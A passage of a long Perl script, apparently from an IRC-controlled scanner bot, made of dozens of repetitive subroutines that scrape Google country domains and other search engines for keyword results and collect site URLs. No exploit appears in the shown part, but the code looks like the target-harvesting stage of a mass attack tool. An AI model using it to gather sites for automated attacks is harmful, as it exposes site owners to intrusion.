  4624. }
  4625.  
  4626. sub googleIT() {
  4627.     my @list;
  4628.     my $key = $_[0];
  4629.     for (my $i=0; $i<=500; $i+=50){
  4630.         my $search = ("http://www.google.it/search?q=".uri_escape($key)."&hl=&cr=countryIT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4631.         my $res = &search_engine_query($search);
  4632.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4633.             my $link = $1;
  4634.             if ($link !~ /googleIT/){
  4635.                 my @grep = links($link);
  4636.                 push(@list,@grep);
  4637.             }
  4638.         }
  4639.     }
  4640.     return @list;
  4641. }
  4642. sleep(1);
  4643. sub googleNL() {
  4644.     my @list;
  4645.     my $key = $_[0];
  4646.     for (my $i=0; $i<=500; $i+=50){
  4647.         my $search = ("http://www.google.nl/search?q=".uri_escape($key)."&hl=&cr=countryNL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4648.         my $res = &search_engine_query($search);
  4649.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4650.             my $link = $1;
  4651.             if ($link !~ /googleNL/){
  4652.                 my @grep = links($link);
  4653.                 push(@list,@grep);
  4654.             }
  4655.         }
  4656.     }
  4657.     return @list;
  4658. }
  4659.  
  4660. sub googleBE() {
  4661.     my @list;
  4662.     my $key = $_[0];
  4663.     for (my $i=0; $i<=500; $i+=50){
  4664.         my $search = ("http://www.google.be/search?q=".uri_escape($key)."&hl=&cr=countryBE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4665.         my $res = &search_engine_query($search);
  4666.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4667.             my $link = $1;
  4668.             if ($link !~ /googleBE/){
  4669.                 my @grep = links($link);
  4670.                 push(@list,@grep);
  4671.             }
  4672.         }
  4673.     }
  4674.     return @list;
  4675. }
  4676.  
  4677. sub googleCH() {
  4678.     my @list;
  4679.     my $key = $_[0];
  4680.     for (my $i=0; $i<=500; $i+=50){
  4681.         my $search = ("http://www.google.ch/search?q=".uri_escape($key)."&hl=&cr=countryCH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4682.         my $res = &search_engine_query($search);
  4683.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4684.             my $link = $1;
  4685.             if ($link !~ /googleCH/){
  4686.                 my @grep = links($link);
  4687.                 push(@list,@grep);
  4688.             }
  4689.         }
  4690.     }
  4691.     return @list;
  4692. }
  4693. sleep(1);
  4694. sub googleSE() {
  4695.     my @list;
  4696.     my $key = $_[0];
  4697.     for (my $i=0; $i<=500; $i+=50){
  4698.         my $search = ("http://www.google.se/search?q=".uri_escape($key)."&hl=&cr=countrySE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4699.         my $res = &search_engine_query($search);
  4700.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4701.             my $link = $1;
  4702.             if ($link !~ /googleSE/){
  4703.                 my @grep = links($link);
  4704.                 push(@list,@grep);
  4705.             }
  4706.         }
  4707.     }
  4708.     return @list;
  4709. }
  4710.  
  4711. sub googleDK() {
  4712.     my @list;
  4713.     my $key = $_[0];
  4714.     for (my $i=0; $i<=500; $i+=50){
  4715.         my $search = ("http://www.google.dk/search?q=".uri_escape($key)."&hl=&cr=countryDK&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4716.         my $res = &search_engine_query($search);
  4717.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4718.             my $link = $1;
  4719.             if ($link !~ /googleDK/){
  4720.                 my @grep = links($link);
  4721.                 push(@list,@grep);
  4722.             }
  4723.         }
  4724.     }
  4725.     return @list;
  4726. }
  4727.  
  4728. sub googleNO() {
  4729.     my @list;
  4730.     my $key = $_[0];
  4731.     for (my $i=0; $i<=500; $i+=50){
  4732.         my $search = ("http://www.google.no/search?q=".uri_escape($key)."&hl=&cr=countryNO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4733.         my $res = &search_engine_query($search);
  4734.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4735.             my $link = $1;
  4736.             if ($link !~ /googleNO/){
  4737.                 my @grep = links($link);
  4738.                 push(@list,@grep);
  4739.             }
  4740.         }
  4741.     }
  4742.     return @list;
  4743. }
  4744. sleep(1);
  4745. sub googleNZ() {
  4746.     my @list;
  4747.     my $key = $_[0];
  4748.     for (my $i=0; $i<=500; $i+=50){
  4749.         my $search = ("http://www.google.co.nz/search?q=".uri_escape($key)."&hl=&cr=countryNZ&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4750.         my $res = &search_engine_query($search);
  4751.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4752.             my $link = $1;
  4753.             if ($link !~ /googleNZ/){
  4754.                 my @grep = links($link);
  4755.                 push(@list,@grep);
  4756.             }
  4757.         }
  4758.     }
  4759.     return @list;
  4760. }
  4761.  
  4762. sub googleIE() {
  4763.     my @list;
  4764.     my $key = $_[0];
  4765.     for (my $i=0; $i<=500; $i+=50){
  4766.         my $search = ("http://www.google.ie/search?q=".uri_escape($key)."&hl=&cr=countryIE&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4767.         my $res = &search_engine_query($search);
  4768.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4769.             my $link = $1;
  4770.             if ($link !~ /googleIE/){
  4771.                 my @grep = links($link);
  4772.                 push(@list,@grep);
  4773.             }
  4774.         }
  4775.     }
  4776.     return @list;
  4777. }
  4778.  
  4779. sub googleBR() {
  4780.     my @list;
  4781.     my $key = $_[0];
  4782.     for (my $i=0; $i<=500; $i+=50){
  4783.         my $search = ("http://www.google.com.br/search?q=".uri_escape($key)."&hl=&cr=countryBR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4784.         my $res = &search_engine_query($search);
  4785.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4786.             my $link = $1;
  4787.             if ($link !~ /google/){
  4788.                 my @grep = links($link);
  4789.                 push(@list,@grep);
  4790.             }
  4791.         }
  4792.     }
  4793.     return @list;
  4794. }
  4795. sleep(2);
  4796. sub googleAR() {
  4797.     my @list;
  4798.     my $key = $_[0];
  4799.     for (my $i=0; $i<=500; $i+=50){
  4800.         my $search = ("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4801.         my $res = &search_engine_query($search);
  4802.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4803.             my $link = $1;
  4804.             if ($link !~ /googleAR/){
  4805.                 my @grep = links($link);
  4806.                 push(@list,@grep);
  4807.             }
  4808.         }
  4809.     }
  4810.     return @list;
  4811. }
  4812.  
  4813. sub googleCO() {
  4814.     my @list;
  4815.     my $key = $_[0];
  4816.     for (my $i=0; $i<=500; $i+=50){
  4817.         my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4818.         my $res = &search_engine_query($search);
  4819.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4820.             my $link = $1;
  4821.             if ($link !~ /googleCO/){
  4822.                 my @grep = links($link);
  4823.                 push(@list,@grep);
  4824.             }
  4825.         }
  4826.     }
  4827.     return @list;
  4828. }
  4829.  
  4830. sub googleCU() {
  4831.     my @list;
  4832.     my $key = $_[0];
  4833.     for (my $i=0; $i<=500; $i+=50){
  4834.         my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4835.         my $res = &search_engine_query($search);
  4836.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4837.             my $link = $1;
  4838.             if ($link !~ /googleCU/){
  4839.                 my @grep = links($link);
  4840.                 push(@list,@grep);
  4841.             }
  4842.         }
  4843.     }
  4844.     return @list;
  4845. }
  4846. sleep(2);
  4847. sub googleCL() {
  4848.     my @list;
  4849.     my $key = $_[0];
  4850.     for (my $i=0; $i<=500; $i+=50){
  4851.         my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4852.         my $res = &search_engine_query($search);
  4853.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4854.             my $link = $1;
  4855.             if ($link !~ /googleCL/){
  4856.                 my @grep = links($link);
  4857.                 push(@list,@grep);
  4858.             }
  4859.         }
  4860.     }
  4861.     return @list;
  4862. }
  4863.  
  4864. sub googleMX() {
  4865.     my @list;
  4866.     my $key = $_[0];
  4867.     for (my $i=0; $i<=500; $i+=50){
  4868.         my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4869.         my $res = &search_engine_query($search);
  4870.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4871.             my $link = $1;
  4872.             if ($link !~ /googleMX/){
  4873.                 my @grep = links($link);
  4874.                 push(@list,@grep);
  4875.             }
  4876.         }
  4877.     }
  4878.     return @list;
  4879. }
  4880.  
  4881. sub googleAU() {
  4882.     my @list;
  4883.     my $key = $_[0];
  4884.     for (my $i=0; $i<=500; $i+=50){
  4885.         my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4886.         my $res = &search_engine_query($search);
  4887.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4888.             my $link = $1;
  4889.             if ($link !~ /googleAU/){
  4890.                 my @grep = links($link);
  4891.                 push(@list,@grep);
  4892.             }
  4893.         }
  4894.     }
  4895.     return @list;
  4896. }
  4897. sleep(2);
  4898. sub googleRU() {
  4899.     my @list;
  4900.     my $key = $_[0];
  4901.     for (my $i=0; $i<=500; $i+=50){
  4902.         my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4903.         my $res = &search_engine_query($search);
  4904.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4905.             my $link = $1;
  4906.             if ($link !~ /googleRU/){
  4907.                 my @grep = links($link);
  4908.                 push(@list,@grep);
  4909.             }
  4910.         }
  4911.     }
  4912.     return @list;
  4913. }
  4914.  
  4915. sub googleAT() {
  4916.     my @list;
  4917.     my $key = $_[0];
  4918.     for (my $i=0; $i<=500; $i+=50){
  4919.         my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4920.         my $res = &search_engine_query($search);
  4921.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4922.             my $link = $1;
  4923.             if ($link !~ /googleAT/){
  4924.                 my @grep = links($link);
  4925.                 push(@list,@grep);
  4926.             }
  4927.         }
  4928.     }
  4929.     return @list;
  4930. }
  4931.  
  4932. sub googlePL() {
  4933.     my @list;
  4934.     my $key = $_[0];
  4935.     for (my $i=0; $i<=500; $i+=50){
  4936.         my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4937.         my $res = &search_engine_query($search);
  4938.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4939.             my $link = $1;
  4940.             if ($link !~ /googlePL/){
  4941.                 my @grep = links($link);
  4942.                 push(@list,@grep);
  4943.             }
  4944.         }
  4945.     }
  4946.     return @list;
  4947. }
  4948. sleep(3);
  4949. sub googleIL() {
  4950.     my @list;
  4951.     my $key = $_[0];
  4952.     for (my $i=0; $i<=500; $i+=50){
  4953.         my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4954.         my $res = &search_engine_query($search);
  4955.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4956.             my $link = $1;
  4957.             if ($link !~ /googleIL/){
  4958.                 my @grep = links($link);
  4959.                 push(@list,@grep);
  4960.             }
  4961.         }
  4962.     }
  4963.     return @list;
  4964. }
  4965.  
  4966. sub googleTR() {
  4967.     my @list;
  4968.     my $key = $_[0];
  4969.     for (my $i=0; $i<=500; $i+=50){
  4970.         my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4971.         my $res = &search_engine_query($search);
  4972.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4973.             my $link = $1;
  4974.             if ($link !~ /googleTR/){
  4975.                 my @grep = links($link);
  4976.                 push(@list,@grep);
  4977.             }
  4978.         }
  4979.     }
  4980.     return @list;
  4981. }
  4982.  
  4983. sub googleUA() {
  4984.     my @list;
  4985.     my $key = $_[0];
  4986.     for (my $i=0; $i<=500; $i+=50){
  4987.         my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  4988.         my $res = &search_engine_query($search);
  4989.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4990.             my $link = $1;
  4991.             if ($link !~ /googleUA/){
  4992.                 my @grep = links($link);
  4993.                 push(@list,@grep);
  4994.             }
  4995.         }
  4996.     }
  4997.     return @list;
  4998. }
  4999. sleep(3);
  5000. sub googleGR() {
  5001.     my @list;
  5002.     my $key = $_[0];
  5003.     for (my $i=0; $i<=500; $i+=50){
  5004.         my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5005.         my $res = &search_engine_query($search);
  5006.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5007.             my $link = $1;
  5008.             if ($link !~ /googleGR/){
  5009.                 my @grep = links($link);
  5010.                 push(@list,@grep);
  5011.             }
  5012.         }
  5013.     }
  5014.     return @list;
  5015. }
  5016.  
  5017. sub googleJP() {
  5018.     my @list;
  5019.     my $key = $_[0];
  5020.     for (my $i=0; $i<=500; $i+=50){
  5021.         my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5022.         my $res = &search_engine_query($search);
  5023.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5024.             my $link = $1;
  5025.             if ($link !~ /googleJP/){
  5026.                 my @grep = links($link);
  5027.                 push(@list,@grep);
  5028.             }
  5029.         }
  5030.     }
  5031.     return @list;
  5032. }
  5033.  
  5034. sub googleCN() {
  5035.     my @list;
  5036.     my $key = $_[0];
  5037.     for (my $i=0; $i<=500; $i+=50){
  5038.         my $search = ("http://www.google.com.hk/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5039.         my $res = &search_engine_query($search);
  5040.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5041.             my $link = $1;
  5042.             if ($link !~ /googleCN/){
  5043.                 my @grep = links($link);
  5044.                 push(@list,@grep);
  5045.             }
  5046.         }
  5047.     }
  5048.     return @list;
  5049. }
  5050. sleep(3);
  5051. sub googleMY() {
  5052.     my @list;
  5053.     my $key = $_[0];
  5054.     for (my $i=0; $i<=500; $i+=50){
  5055.         my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5056.         my $res = &search_engine_query($search);
  5057.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5058.             my $link = $1;
  5059.             if ($link !~ /googleMY/){
  5060.                 my @grep = links($link);
  5061.                 push(@list,@grep);
  5062.             }
  5063.         }
  5064.     }
  5065.     return @list;
  5066. }
  5067.  
  5068. sub googleTH() {
  5069.     my @list;
  5070.     my $key = $_[0];
  5071.     for (my $i=0; $i<=500; $i+=50){
  5072.         my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5073.         my $res = &search_engine_query($search);
  5074.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5075.             my $link = $1;
  5076.             if ($link !~ /googleTH/){
  5077.                 my @grep = links($link);
  5078.                 push(@list,@grep);
  5079.             }
  5080.         }
  5081.     }
  5082.     return @list;
  5083. }
  5084.  
  5085. sub googleIN() {
  5086.     my @list;
  5087.     my $key = $_[0];
  5088.     for (my $i=0; $i<=500; $i+=50){
  5089.         my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5090.         my $res = &search_engine_query($search);
  5091.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5092.             my $link = $1;
  5093.             if ($link !~ /googleIN/){
  5094.                 my @grep = links($link);
  5095.                 push(@list,@grep);
  5096.             }
  5097.         }
  5098.     }
  5099.     return @list;
  5100. }
  5101. sleep(3);
  5102. sub googleKR() {
  5103.     my @list;
  5104.     my $key = $_[0];
  5105.     for (my $i=0; $i<=500; $i+=50){
  5106.         my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5107.         my $res = &search_engine_query($search);
  5108.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5109.             my $link = $1;
  5110.             if ($link !~ /googleKR/){
  5111.                 my @grep = links($link);
  5112.                 push(@list,@grep);
  5113.             }
  5114.         }
  5115.     }
  5116.     return @list;
  5117. }
  5118.  
  5119. sub googleRO() {
  5120.     my @list;
  5121.     my $key = $_[0];
  5122.     for (my $i=0; $i<=500; $i+=50){
  5123.         my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5124.         my $res = &search_engine_query($search);
  5125.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5126.             my $link = $1;
  5127.             if ($link !~ /googleRO/){
  5128.                 my @grep = links($link);
  5129.                 push(@list,@grep);
  5130.             }
  5131.         }
  5132.     }
  5133.     return @list;
  5134. }
  5135.  
  5136. sub googleTW() {
  5137.     my @list;
  5138.     my $key = $_[0];
  5139.     for (my $i=0; $i<=500; $i+=50){
  5140.         my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5141.         my $res = &search_engine_query($search);
  5142.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5143.             my $link = $1;
  5144.             if ($link !~ /googleTW/){
  5145.                 my @grep = links($link);
  5146.                 push(@list,@grep);
  5147.             }
  5148.         }
  5149.     }
  5150.    
  5151.     return @list;
  5152. }
  5153. sleep(3);
  5154. sub googleZA() {
  5155.     my @list;
  5156.     my $key = $_[0];
  5157.     for (my $i=0; $i<=500; $i+=50){
  5158.         my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5159.         my $res = &search_engine_query($search);
  5160.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5161.             my $link = $1;
  5162.             if ($link !~ /googleZA/){
  5163.                 my @grep = links($link);
  5164.                 push(@list,@grep);
  5165.             }
  5166.         }
  5167.     }
  5168.     return @list;
  5169. }
  5170.  
  5171. sub googlePT() {
  5172.     my @list;
  5173.     my $key = $_[0];
  5174.     for (my $i=0; $i<=500; $i+=50){
  5175.         my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N");
  5176.         my $res = &search_engine_query($search);
  5177.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  5178.             my $link = $1;
  5179.             if ($link !~ /googlePT/){
  5180.                 my @grep = links($link);
  5181.                 push(@list,@grep);
  5182.             }
  5183.         }
  5184.     }
  5185.     return @list;
  5186. }
  5187.  
  5188. sub becak() {
  5189.   my @list;
  5190.     my $key = $_[0];
  5191.   my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr");
  5192. foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))];
  5193.     for ($b=1; $b<=500; $b+=30) {
  5194.         my $search = ("http://www.google.com/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N");
  5195.         my $res = search_engine_query($search);
  5196.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  5197.             if ($1 !~ /google/){
  5198.             my $link = $1;
  5199.                 my @grep = &links($link);
  5200.                 push(@list,@grep);
  5201.             }
  5202.         }
  5203.     }
  5204.     return @list;
  5205. }
  5206. }
  5207.  
  5208. sub bokep() {
  5209.     my @list;
  5210.     my $key = $_[0];
  5211.     for ($b=0; $b<=500; $b+=50) {
  5212.         my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b);
  5213.         my $res = search_engine_query($search);
  5214.         while ($res =~ m/<h2 class=\"result-web\">(.*?)<\/h2>/g) {
  5215.     if ($1 !~ /search\.xxx/){
  5216.             my $link = $1;
  5217.                 my @grep = &links($link);
  5218.                 push(@list,@grep);
  5219.             }
  5220.         }
  5221.     }
  5222.     return @list;
  5223. }
  5224.  
  5225. sub searchnz() {
  5226.     my @list;
  5227.     my $key = $_[0];
  5228.     for ($b=1; $b<=500; $b+=50) {
  5229.         my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b);
  5230.         my $res = search_engine_query($search);
  5231.         while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) {
  5232.     if ($1 !~ /webads\.co\.nz/){
  5233.             my $link = $1;
  5234.                 my @grep = &links($link);
  5235.                 push(@list,@grep);
  5236.             }
  5237.         }
  5238.     }
  5239.     return @list;
  5240. }
  5241.  
  5242. sub webcrawler() {
  5243.     my @list;
  5244.     my $key = $_[0];
  5245.     for ($i = 0 ;$i <= 1400 ;$i += 20) {
  5246.         my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top");
  5247.         my $re = search_engine_query($clink);
  5248.         while ($re =~ m/nonpaid','(.*)','http:\/\/(.+?)\'/g) {
  5249.             my $link = $1;
  5250.             if ($1 !~ /webcrawler\.com/){
  5251.                 my @grep = &links($link);
  5252.                 push(@list,@grep);
  5253.             }
  5254.         }
  5255.     }
  5256.     return @list;
  5257. }
  5258.  
  5259. sub clusty() {
  5260.     my @list;
  5261.     my $key = $_[0];
  5262.     my $b   = 0;
  5263.     for ($b=0; $b<=120; $b+=10) {
  5264.         my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  5265.         my $res = search_engine_query($search);
  5266.         while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  5267.             if ($1 !~ /yippy\.com/){
  5268.             my $link = $1;
  5269.                 my @grep = &links($link);
  5270.                 push(@list,@grep);
  5271.             }
  5272.         }
  5273.     }
  5274.     return @list;
  5275. }
  5276.  
  5277. sub witch(){
  5278.     my @list;
  5279.     my $key = $_[0];
  5280.     for($b=0; $b<=1000; $b+=50){
  5281.     my $Lyc = ("http://www.witch.de/search-result.php?searchtype=phonetisch&search=".uri_escape($key)."&cn=".$b);
  5282.     my $Res = search_engine_query($Lyc);
  5283.     while ($Res =~ m/<a href=\"http:\/\/(.+?)\"/g){
  5284.             my $link = $1;
  5285.             if ($1 !~ /witch\.de/){
  5286.                 my @grep = &links($link);
  5287.                 push(@list,@grep);
  5288.             }
  5289.         }
  5290.     }
  5291.     return @list;
  5292. }
  5293.  
  5294. sub amidalla(){
  5295.     my @list;
  5296.     my $key = $_[0];
  5297.     my $i   = 0;
  5298.     for ($i=1; $i<=1000; $i+=50){
  5299.         my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".uri_escape($key)."&page=".$i."&break=10&af=2&tld=com&et=2");       
  5300.         my $Res= search_engine_query($web);
  5301.         while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
  5302.             if ($1 !~ /amidalla/){
  5303.             my $link = $1;
  5304.                 my @grep = &links($link);
  5305.                 push(@list,@grep);
  5306.             }
  5307.         }
  5308.     }
  5309.     return @list;
  5310. }
  5311.  
  5312. sub gibla() {
  5313.     my @list;
  5314.     my $key = $_[0];
  5315.     for ($b=0; $b<=600; $b+=40) {
  5316.         my $search = ("http://www.gigablast.com/search?s=".$b."&q=".uri_escape($key));
  5317.         my $res = search_engine_query($search);
  5318.         while ($res =~ m/<span class=\"url\">(.+?)<\/span>/g) {
  5319.             my $link = $1;
  5320.                 if ($link!~ /gigablast/) {
  5321.                 my @grep = &links($link);
  5322.                 push(@list,@grep);
  5323.             }
  5324.         }
  5325.     }
  5326.     return @list;
  5327. }
  5328.  
  5329. sub mywebsearch() {
  5330.     my @list;
  5331.     my $key = $_[0];
  5332.     for ($b = 1; $b<=700; $b+=40) {
  5333.            my $search = ("http://search.mywebsearch.com/mywebsearch/GGweb.jhtml?searchfor=".uri_escape($key)."&pn=".$b);
  5334.            my $res = search_engine_query($search);
  5335.            while ($res =~ m/<span class=\"uri\">http:\/\/(.+?)\<\/span>/g) {
  5336.                 my $link = $1;
  5337.                 if ($1 !~ /mywebsearch\.com/){
  5338.                 my @grep = &links($link);
  5339.                 push(@list,@grep);
  5340.             }
  5341.         }
  5342.     }
  5343.     return @list;
  5344. }
  5345.  
  5346. sub dogpile() {
  5347.     my @list;
  5348.     my $key = $_[0];
  5349.     for ($b = 1; $b<=901; $b+=40) {
  5350.            my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$b."&q=".uri_escape($key));
  5351.            my $res = search_engine_query($search);
  5352.            while ($res =~ m/<a class=\"resultDisplayUrl\" (.*) site=\"_blank\">(.+?)<\/a>/g) {
  5353.                 my $link = $2;
  5354.                 if ($link!~ /dogpile/) {
  5355.                 my @grep = &links($link);
  5356.                 push(@list,@grep);
  5357.             }
  5358.         }
  5359.     }
  5360.     return @list;
  5361. }
  5362.  
  5363. sub infocom() {
  5364.     my @list;
  5365.     my $key = $_[0];
  5366.     for ($b = 1; $b<=600; $b+=41) {
  5367.            my $search = ("http://www.info.com/searchw?page=".$b."&qkw=".uri_escape($key));
  5368.            my $res = search_engine_query($search);
  5369.            while ($res =~ m/http%3a%2f%2f(.+?)%2f/g) {
  5370.         my $link = $1;
  5371.                 if ($link!~ /info\.com/) {
  5372.                 my @grep=links($link);
  5373.         open( $filez, ">>", $name );
  5374.         foreach my $k (@grep) { print $filez "$k\n"; }
  5375.         close $filez;
  5376.                 push(@list,@grep);
  5377.            }
  5378.        }
  5379.    }
  5380.   return @list;
  5381. }
  5382.  
  5383. sub searchcom() {
  5384.     my @list;
  5385.     my $key = $_[0];
  5386.     for ($b = 1; $b<=400; $b+=40) {
  5387.            my $search = ("http://www.search.com/search?q=".uri_escape($key)."&nav=".$b.".10.2.10");
  5388.            my $res = search_engine_query($search);
  5389.            while ($res =~ m/<a  href=\"http:\/\/(.+?)\" onclick=\"/g) {
  5390.                 my $link = $1;
  5391.                 if ($link!~ /search\.com/) {
  5392.                 my @grep = &links($link);
  5393.                 push(@list,@grep);
  5394.             }
  5395.         }
  5396.     }
  5397.     return @list;
  5398. }
  5399.  
  5400. sub teoma() {
  5401.     my @list;
  5402.     my $key = $_[0];
  5403.     for ($b = 1; $b<=600; $b+=50) {
  5404.            my $search = ("http://www.teoma.com/web?q=".uri_escape($key)."&page=".$b);
  5405.            my $res = search_engine_query($search);
  5406.            while ($res =~ m/href=\"http:\/\/(.+?)\"/g) {
  5407.                 my $link = $1;
  5408.                 if ($link!~ /teoma\.com/) {
  5409.                 my @grep = &links($link);
  5410.                 push(@list,@grep);
  5411.             }
  5412.         }
  5413.     }
  5414.     return @list;
  5415. }
  5416.  
  5417. sub volunia() {
  5418.     my @list;
  5419.     my $key = $_[0];
  5420.     my $chan = $_[1];
